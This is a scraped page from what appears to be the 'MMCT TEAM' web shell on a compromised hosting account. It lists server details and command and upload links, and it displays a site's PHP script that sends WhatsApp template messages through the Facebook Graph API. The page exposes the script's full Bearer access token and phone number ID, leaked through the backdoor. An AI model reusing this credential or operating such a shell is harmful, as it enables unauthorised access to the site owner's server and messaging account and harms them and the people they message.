MMCT TEAM
Server IP : 2a02:4780:3:1493:0:3736:a38e:7  /  Your IP : 216.73.216.60
Web Server : LiteSpeed
System : Linux sg-nme-web1393.main-hosting.eu 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/demo/fonts/../../smart/whatsapp-api/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/demo/fonts/../../smart/whatsapp-api/send_default.php
<?php
// === CONFIG ===
$accessToken = 'EAAYfbqZBC1XoBPCNZCh9kgEI0B2P4HCRy1uarHxHq7ldJWZAsDilLOL11DD3enfJRz1m4cfIRO3C5XYRB5cFEgfSnA3R3DsbX0jRu7RyxyQXv2b5IGZANhMZC1PDbg65RSVTDZBw2wgs4GfeYKKgheCcTpTvWALK31hcvhAmLZB9yNSczoZBjaa7ZA9lLne7FuFPzMQZDZD';
$phoneNumberId = '625194630687977';

// === INPUT ===
$number = $_POST['number']; // Format: 91XXXXXXXXXX
$templateName = 'hello_world'; // Fixed as per your requirement

// === API URL ===
$url = "https://graph.facebook.com/v22.0/$phoneNumberId/messages";

// === Payload ===
$payload = [
    'messaging_product' => 'whatsapp',
    'to' => $number,
    'type' => 'template',
    'template' => [
        'name' => $templateName,
        'language' => ['code' => 'en_US']
        // 'components' not needed for hello_world
    ]
];

// === CURL Request ===
$ch = curl_init($url);
//echo"<pre>"; print_r($payload); exit;
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Authorization: Bearer ' . $accessToken,
    'Content-Type: application/json'
]);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// === Redirect with Status ===
if ($httpCode == 200) {
    header("Location: index.php?status=✅ Message sent successfully!");
} else {
    $error = json_decode($response, true);
    $errorMsg = $error['error']['message'] ?? 'Unknown error';
    header("Location: index.php?status=❌ Error: $errorMsg");
}

MMCT - 2023